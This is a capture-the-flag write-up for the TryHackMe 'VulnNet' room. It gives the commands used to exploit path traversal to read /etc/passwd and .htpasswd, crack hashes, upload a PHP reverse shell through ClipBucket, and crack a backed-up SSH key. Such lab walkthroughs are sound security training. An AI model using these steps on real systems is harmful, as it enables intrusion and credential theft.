# VulnNet ## Nmap ``` sudo nmap 10.10.14.164 -p- -sS -sV PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ### Web Server Investigating port 80, we are welcomed over to the Vulnnet Entertainment landing page. ![](/files/yYmlTvkR3v4FZ7sIb1uu) ### Path Traversal Starting enumeration with ZAP's active scan feature, we detect a high alert for a path traversal vulnerability. ``` http://vulnnet.thm/index.php?referer=/etc/passwd ``` ![](/files/HQOvGbVPPNskfmpE6x8b) Whilst the path traversal works, the results are not visible unless looking at the source of the `/index.php` page. ``` view-source:https://vulnnet.thm/index.php?referer=%2Fetc%2Fpasswd ``` ![](/files/mdahmMD9HcBZdmzEOHpp) ### Enumeration From `/etc/passwd` we obtain the username server-management. For further information we use the path traversal vulnerability to acquire even further information about the `/index.php` page located in `/var/www/html/`. As per the image shown below, we can now see even further information and that the page is running ClipBucket version 4.0. ![](/files/NhrETm4Uwcd7DMUI87US) A quick search with `searchsploit` reveals multiple vulnerabilities for version 4.0.0. ![](/files/QYFQSKZCVACDdF2E7BFE) **Exploit-db:** However, I was unable to successfully complete any of the suggested exploits due inaccessible and required directories. ### Sub Domain Enumeration Taking the enumeration further we start fuzzing for subdomains on . ``` wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm" --hl 141 ``` Looking at the results below we get the response code 401 (Unauthorized) for the sub domain ; ![](/files/P826JZIzemhzPM9tGhuP) Appending the braodcast sub domain to our `/etc/hosts` file we then browse to the new domain and are prompted for credentials. ![](/files/74VnvbcxCBPfOIPU1ti4) Brute forcing the login page with the server-management user and Hydra provided unsuccessful. Likewise, admin and root did not work either. Back to enumeration... ### Further Enumeration Building on further from the LFI vulnerability discovered by ZAP earlier we start fuzzing for further files. We get a valid hit on `/etc/apache2`. ``` wfuzz -u "http://vulnnet.thm/index.php?referer=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hl 141 -R 2 ``` ![](/files/ro5PGVfBzjfIaAlOLYex) Fuzzing for further files within the `/etc/apache2` directory we soon get a hit for .`htapasswd`. ``` wfuzz -u "http://vulnnet.thm/index.php?referer=/etc/apache2/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt --hl 141 -R 2 ``` ![](/files/LsbQ4430khqvEz4Omqwc) Using `curl` we read the contents of `.htpasswd` and discover credentials within the file. ``` curl "http://vulnnet.thm/index.php?referer=/etc/apache2/.htpasswd" ``` ![](/files/sqRBlKcbX49MLHOqodYB) ### Hashcat Using hashcat against the rockyou.txt wordlist we are soon able to crack the Apache2 encrypted password. ``` hashcat -a 0 -m 1600 hash /usr/share/wordlists/rockyou.txt ``` ![](/files/d0GUA0H01c6WhxI4GGxS) ### Accessing ClipBucket Using the newley discovered credentials for the user developers on the `http://boradcast.vulnnet.thm` web page we are able to proceed and are greeted with the index page for Clipbucket. ![](/files/SmCoh8yL985F5S4pADhP) ### Arbitary File Upload / Shell Going back to Exploit-DB we can begin again, to look at the various vulnerabilities. In this instance I have chosen to proceed with the Unauthenticated Arbitary File Upload. ![](/files/aRmUskZ32SZPJQ8KjTlE) Using the PHP Monkey reverse shell generated from [RevShells](https://revshells.com/) I then used the command below to perform a file upload. ``` curl -F "file=@shell.php" -F "plupload=1" -F "name=anyname.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php" -u developers: ``` ![](/files/I2z7FUxriSqguNtS0JTK) The response message includes the directory and name of the uploaded file. Using this information we start a netcat listener and browse to the uploaded reverse shell. ``` http://broadcast.vulnnet.thm/actions/CB_BEATS_UPLOAD_DIR/.php ``` Gaining access as *www-data*. ![](/files/jD3a4RsHMI9bU5SgV9zH) From here we give ourselves a better shell experience. ``` /usr/bin/script -qc /bin/bash /dev/null ``` ### Crontab Performing basic enumeration steps on the target system we find the file `/var/opt/backupsrv.sh` is executed by **root** every two minutes. ![](/files/WRZrhb5LERaE9nvwBXir) Viewing the contents of the file we see that all files within `/home/server-management/Documents` are archived using `tar` everytime the scipt is run. ``` #!/bin/bash # Where to backup to. dest="/var/backups" # What to backup. cd /home/server-management/Documents backup_files="*" # Create archive filename. day=$(date +%A) hostname=$(hostname -s) archive_file="$hostname-$day.tgz" # Print start status message. echo "Backing up $backup_files to $dest/$archive_file" date echo # Backup the files using tar. tar czf $dest/$archive_file $backup_files # Print end status message. echo echo "Backup finished" date # Long listing of files in $dest to check file sizes. ls -lh $dest ``` Reading the script we see that `tar` is backing up files and ending the command in a wildcard. I have previously document performing privilege escalation in the TryHackMeRoom Marketplace using `tar` wildcard injection {% content-ref url="/pages/-MVR\_Jl4K0tOdOTTFJ1a" %} [Marketplace](/pentest-everything/writeups/tryhackme/linux/marketplace.md) {% endcontent-ref %} However, we have no permissions over the destination path of `/home/server-management/Documents`. ### Archive Exctration Looking at the files already backed up and archived to `/var/opt/backups` we notice two archived files of interest; Extract these to a writeable directory: ``` tar -xf ssh-backup.tar.gz -C /tmp/ tar -xf vulnnet-Monday.tgz -C /tmp/ ``` Viewing the `id_rsa` is of interest. ![](/files/5FlM1wrj2FAUO3Ti2apj) Transferring the `id_rsa` key over to my attacking system we are prompted for a password when trying to use it when connecting as the user *server-management*. ![](/files/55FSPVtz4eVO2FIUnPhy) ### Hashing and Cracking Using ssh2john we can hash the key file and then, perform password cracking to reveal the plain text password. ``` /usr/bin/ssh2john id_rsa >> hash_id ``` ![](/files/68LmJXAJNx7ecG485loY) ### SSH as server-management With the now discovered credentials we are able to login over `SSH` with the user *server-management*. ![](/files/5TKcQlzL16vtLiJJggN8) ### Tar wildcard injection Revisiting the `/var/opt/backupsrv.sh` file we should now be able to perform privilege escalation as `/home/server-management/Documents` is within our home directory. ![](/files/RwwIBl5Y4Q7hm9IhaeJe) Referring again to the steps I performed for the Marketplace room. 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